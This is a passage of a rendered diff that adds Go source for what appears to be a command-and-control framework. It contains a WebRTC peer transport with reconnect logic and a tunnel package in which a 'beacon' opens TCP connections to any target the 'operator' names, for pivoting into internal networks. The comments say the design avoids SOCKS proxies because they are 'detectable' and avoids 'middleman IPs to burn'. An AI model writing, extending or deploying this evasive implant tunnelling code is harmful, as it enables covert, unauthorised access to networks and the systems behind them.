if err := p.pc.SetLocalDescription(answer); err != nil {
|
||||||
|
log.Printf("[transport] set local desc error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if p.OnLocalDescription != nil {
|
||||||
|
if err := p.OnLocalDescription(answer); err != nil {
|
||||||
|
log.Printf("[transport] signal answer error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case <-p.reconnectTimer():
|
||||||
|
p.mu.RLock()
|
||||||
|
count := p.reconnectCount
|
||||||
|
maxRetries := p.config.MaxReconnectRetries
|
||||||
|
p.mu.RUnlock()
|
||||||
|
|
||||||
|
if count >= maxRetries {
|
||||||
|
p.emitState(StateFailed, fmt.Errorf("max reconnection retries exceeded"))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if p.state == StateDisconnected || p.state == StateFailed {
|
||||||
|
log.Printf("[transport] attempting reconnect #%d", count+1)
|
||||||
|
p.mu.Lock()
|
||||||
|
p.reconnectCount++
|
||||||
|
p.mu.Unlock()
|
||||||
|
p.reconnect()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *Peer) reconnectTimer() <-chan time.Time {
|
||||||
|
p.mu.RLock()
|
||||||
|
delay := p.config.ReconnectDelay
|
||||||
|
p.mu.RUnlock()
|
||||||
|
return time.After(delay)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *Peer) reconnect() {
|
||||||
|
_ = p.pc.Close()
|
||||||
|
p.mu.Lock()
|
||||||
|
p.pc = nil
|
||||||
|
p.dc = nil
|
||||||
|
p.mu.Unlock()
|
||||||
|
|
||||||
|
p.emitState(StateConnecting, nil)
|
||||||
|
|
||||||
|
if err := p.createPeerConnection(); err != nil {
|
||||||
|
log.Printf("[transport] reconnect create pc error: %v", err)
|
||||||
|
p.emitState(StateFailed, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if p.config.Role == RoleOperator {
|
||||||
|
if err := p.createDataChannel(); err != nil {
|
||||||
|
log.Printf("[transport] reconnect create dc error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
offer, err := p.pc.CreateOffer(nil)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[transport] reconnect create offer error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := p.pc.SetLocalDescription(offer); err != nil {
|
||||||
|
log.Printf("[transport] reconnect set local error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if p.OnLocalDescription != nil {
|
||||||
|
_ = p.OnLocalDescription(offer)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *Peer) emitState(state PeerState, err error) {
|
||||||
|
p.mu.Lock()
|
||||||
|
p.state = state
|
||||||
|
cb := p.onStateChange
|
||||||
|
p.mu.Unlock()
|
||||||
|
|
||||||
|
if cb != nil {
|
||||||
|
cb(PeerEvent{State: state, Err: err})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure io.Closer interface
|
||||||
|
var _ io.Closer = (*Peer)(nil)
|
||||||
|
|
||||||
|
func boolPtr(b bool) *bool {
|
||||||
|
return &b
|
||||||
|
}
|
||||||
@@ -0,0 +1,127 @@
|
|||||||
|
package tunnel
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Forwarder runs on the beacon side. It accepts tunnel open requests
|
||||||
|
// from the operator (via WebRTC data channel), connects to the target
|
||||||
|
// internally, and bridges data bidirectionally.
|
||||||
|
type Forwarder struct {
|
||||||
|
OnTunnelData func(tunnelID TunnelID, data []byte)
|
||||||
|
OnTunnelErr func(tunnelID TunnelID, err error)
|
||||||
|
mu sync.Mutex
|
||||||
|
connections map[TunnelID]net.Conn
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewForwarder creates a new tunnel forwarder for the beacon.
|
||||||
|
func NewForwarder() *Forwarder {
|
||||||
|
return &Forwarder{
|
||||||
|
connections: make(map[TunnelID]net.Conn),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleMessage processes a tunnel message from the operator.
|
||||||
|
// Message format (simple text-based, no proxy protocol):
|
||||||
|
//
|
||||||
|
// "OPEN:host:port" — open a new connection to target
|
||||||
|
// "CLOSE" — close this tunnel
|
||||||
|
// <raw bytes> — data to forward to the target
|
||||||
|
func (f *Forwarder) HandleMessage(tunnelID TunnelID, raw []byte) {
|
||||||
|
msg := string(raw)
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(msg, "OPEN:"):
|
||||||
|
target := strings.TrimPrefix(msg, "OPEN:")
|
||||||
|
log.Printf("[forwarder] tunnel open -> %s (id: %s)", target, tunnelID)
|
||||||
|
go f.openTunnel(tunnelID, target)
|
||||||
|
|
||||||
|
case msg == "CLOSE":
|
||||||
|
log.Printf("[forwarder] tunnel close (id: %s)", tunnelID)
|
||||||
|
f.closeTunnel(tunnelID)
|
||||||
|
|
||||||
|
default:
|
||||||
|
// Raw data to forward to the target connection
|
||||||
|
f.forwardData(tunnelID, raw)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *Forwarder) openTunnel(tunnelID TunnelID, target string) {
|
||||||
|
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[forwarder] dial %s failed: %v", target, err)
|
||||||
|
if f.OnTunnelErr != nil {
|
||||||
|
f.OnTunnelErr(tunnelID, fmt.Errorf("dial %s: %w", target, err))
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
f.mu.Lock()
|
||||||
|
f.connections[tunnelID] = conn
|
||||||
|
f.mu.Unlock()
|
||||||
|
|
||||||
|
log.Printf("[forwarder] tunnel connected to %s (id: %s)", target, tunnelID)
|
||||||
|
|
||||||
|
// Read from target and send back through WebRTC tunnel
|
||||||
|
buf := make([]byte, 16384)
|
||||||
|
for {
|
||||||
|
conn.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||||
|
n, err := conn.Read(buf)
|
||||||
|
if err != nil {
|
||||||
|
if err != io.EOF {
|
||||||
|
log.Printf("[forwarder] read from %s: %v", target, err)
|
||||||
|
}
|
||||||
|
f.closeTunnel(tunnelID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if f.OnTunnelData != nil {
|
||||||
|
f.OnTunnelData(tunnelID, buf[:n])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *Forwarder) forwardData(tunnelID TunnelID, data []byte) {
|
||||||
|
f.mu.Lock()
|
||||||
|
conn, ok := f.connections[tunnelID]
|
||||||
|
f.mu.Unlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
log.Printf("[forwarder] unknown tunnel id: %s", tunnelID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := conn.Write(data); err != nil {
|
||||||
|
log.Printf("[forwarder] write error on %s: %v", tunnelID, err)
|
||||||
|
f.closeTunnel(tunnelID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *Forwarder) closeTunnel(tunnelID TunnelID) {
|
||||||
|
f.mu.Lock()
|
||||||
|
conn, ok := f.connections[tunnelID]
|
||||||
|
delete(f.connections, tunnelID)
|
||||||
|
f.mu.Unlock()
|
||||||
|
|
||||||
|
if ok && conn != nil {
|
||||||
|
conn.Close()
|
||||||
|
log.Printf("[forwarder] closed tunnel: %s", tunnelID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close terminates all active tunnel connections.
|
||||||
|
func (f *Forwarder) Close() error {
|
||||||
|
f.mu.Lock()
|
||||||
|
defer f.mu.Unlock()
|
||||||
|
|
||||||
|
for id, conn := range f.connections {
|
||||||
|
conn.Close()
|
||||||
|
delete(f.connections, id)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,207 @@
|
|||||||
|
// Package tunnel provides direct TCP forward tunnels over WebRTC data channels.
|
||||||
|
// Instead of SOCKS5 proxies (which are detectable and require proxy software),
|
||||||
|
// this creates raw TCP forwarders — like SSH -L style port forwarding.
|
||||||
|
// The operator sets up a local listener, any connection gets wrapped in
|
||||||
|
// WebRTC data channel messages, and the beacon bridges to the real target.
|
||||||
|
//
|
||||||
|
// No proxy protocol. No proxychains. No middleman IPs to burn.
|
||||||
|
// Just clean TCP over encrypted WebRTC.
|
||||||
|
|
||||||
|
package tunnel
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TunnelID uniquely identifies a tunnel connection.
|
||||||
|
type TunnelID string
|
||||||
|
|
||||||
|
// TunnelConn represents one proxied connection through the tunnel.
|
||||||
|
type TunnelConn struct {
|
||||||
|
ID TunnelID
|
||||||
|
Target string // host:port
|
||||||
|
Conn net.Conn
|
||||||
|
Created time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
// Bridge tracks active tunnel connections and routes data between
|
||||||
|
// local sockets and the WebRTC data channel.
|
||||||
|
type Bridge struct {
|
||||||
|
OnData func(tunnelID TunnelID, data []byte)
|
||||||
|
OnClose func(tunnelID TunnelID)
|
||||||
|
mu sync.RWMutex
|
||||||
|
conns map[TunnelID]*TunnelConn
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewBridge creates a new tunnel bridge.
|
||||||
|
func NewBridge() *Bridge {
|
||||||
|
return &Bridge{
|
||||||
|
conns: make(map[TunnelID]*TunnelConn),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ForwardHandle accepts a raw TCP connection and tunnels it through
|
||||||
|
// the WebRTC data channel to the specified target (reaches via beacon).
|
||||||
|
// No SOCKS handshake — just pure TCP over WebRTC.
|
||||||
|
func (b *Bridge) ForwardHandle(client net.Conn, target string, tunnelID TunnelID) {
|
||||||
|
defer client.Close()
|
||||||
|
|
||||||
|
log.Printf("[tunnel] forward: %s -> %s", tunnelID, target)
|
||||||
|
|
||||||
|
tc := &TunnelConn{
|
||||||
|
ID: tunnelID,
|
||||||
|
Target: target,
|
||||||
|
Created: time.Now(),
|
||||||
|
}
|
||||||
|
|
||||||
|
b.mu.Lock()
|
||||||
|
b.conns[tunnelID] = tc
|
||||||
|
b.mu.Unlock()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
b.mu.Lock()
|
||||||
|
delete(b.conns, tunnelID)
|
||||||
|
b.mu.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Send tunnel open request to beacon
|
||||||
|
if b.OnData != nil {
|
||||||
|
b.OnData(tunnelID, []byte(fmt.Sprintf("OPEN:%s", target)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Bridge: local -> WebRTC tunnel
|
||||||
|
buf := make([]byte, 16384)
|
||||||
|
for {
|
||||||
|
client.SetReadDeadline(time.Now().Add(30 * time.Second))
|
||||||
|
n, err := client.Read(buf)
|
||||||
|
if err != nil {
|
||||||
|
if err != io.EOF && !isNetTimeout(err) {
|
||||||
|
log.Printf("[tunnel] read error on %s: %v", tunnelID, err)
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if b.OnData != nil {
|
||||||
|
b.OnData(tunnelID, buf[:n])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tell beacon to close this tunnel
|
||||||
|
if b.OnData != nil {
|
||||||
|
b.OnData(tunnelID, []byte("CLOSE"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleData processes incoming tunnel data from the beacon
|
||||||
|
// and writes it to the local connection.
|
||||||
|
func (b *Bridge) HandleData(tunnelID TunnelID, data []byte) {
|
||||||
|
b.mu.RLock()
|
||||||
|
tc, ok := b.conns[tunnelID]
|
||||||
|
b.mu.RUnlock()
|
||||||
|
|
||||||
|
if !ok || tc.Conn == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := tc.Conn.Write(data); err != nil {
|
||||||
|
log.Printf("[tunnel] write error on %s: %v", tunnelID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseTunnel closes a specific tunnel connection.
|
||||||
|
func (b *Bridge) CloseTunnel(tunnelID TunnelID) {
|
||||||
|
b.mu.Lock()
|
||||||
|
tc, ok := b.conns[tunnelID]
|
||||||
|
delete(b.conns, tunnelID)
|
||||||
|
b.mu.Unlock()
|
||||||
|
|
||||||
|
if ok && tc.Conn != nil {
|
||||||
|
tc.Conn.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseAll closes all tunnel connections.
|
||||||
|
func (b *Bridge) CloseAll() {
|
||||||
|
b.mu.Lock()
|
||||||
|
defer b.mu.Unlock()
|
||||||
|
|
||||||
|
for id, tc := range b.conns {
|
||||||
|
if tc.Conn != nil {
|
||||||
|
tc.Conn.Close()
|
||||||
|
}
|
||||||
|
delete(b.conns, id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ForwardListener manages a single port forward mapping.
|
||||||
|
type ForwardListener struct {
|
||||||
|
LocalAddr string
|
||||||
|
TargetAddr string
|
||||||
|
TunnelID string
|
||||||
|
listener net.Listener
|
||||||
|
bridge *Bridge
|
||||||
|
running bool
|
||||||
|
mu sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
// StartForwardListener creates and starts a direct TCP forward listener.
|
||||||
|
func (b *Bridge) StartForwardListener(localAddr, targetAddr string) (*ForwardListener, error) {
|
||||||
|
listener, err := net.Listen("tcp", localAddr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("forward listen on %s: %w", localAddr, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fl := &ForwardListener{
|
||||||
|
LocalAddr: localAddr,
|
||||||
|
TargetAddr: targetAddr,
|
||||||
|
TunnelID: fmt.Sprintf("fwd-%s-%s", localAddr, targetAddr),
|
||||||
|
listener: listener,
|
||||||
|
bridge: b,
|
||||||
|
running: true,
|
||||||
|
}
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
connID := 0
|
||||||
|
for {
|
||||||
|
conn, err := listener.Accept()
|
||||||
|
if err != nil {
|
||||||
|
fl.mu.Lock()
|
||||||
|
if !fl.running {
|
||||||
|
fl.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fl.mu.Unlock()
|
||||||
|
log.Printf("[forward] accept error on %s: %v", localAddr, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
connID++
|
||||||
|
tid := TunnelID(fmt.Sprintf("%s-%d", fl.TunnelID, connID))
|
||||||
|
go b.ForwardHandle(conn, targetAddr, tid)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
log.Printf("[forward] %s -> %s (via beacon)", localAddr, targetAddr)
|
||||||
|
return fl, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop shuts down the forward listener.
|
||||||
|
func (fl *ForwardListener) Stop() {
|
||||||
|
fl.mu.Lock()
|
||||||
|
fl.running = false
|
||||||
|
if fl.listener != nil {
|
||||||
|
fl.listener.Close()
|
||||||
|
}
|
||||||
|
fl.mu.Unlock()
|
||||||
|
log.Printf("[forward] stopped %s -> %s", fl.LocalAddr, fl.TargetAddr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func isNetTimeout(err error) bool {
|
||||||
|
if netErr, ok := err.(net.Error); ok {
|
||||||
|
return netErr.Timeout()
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user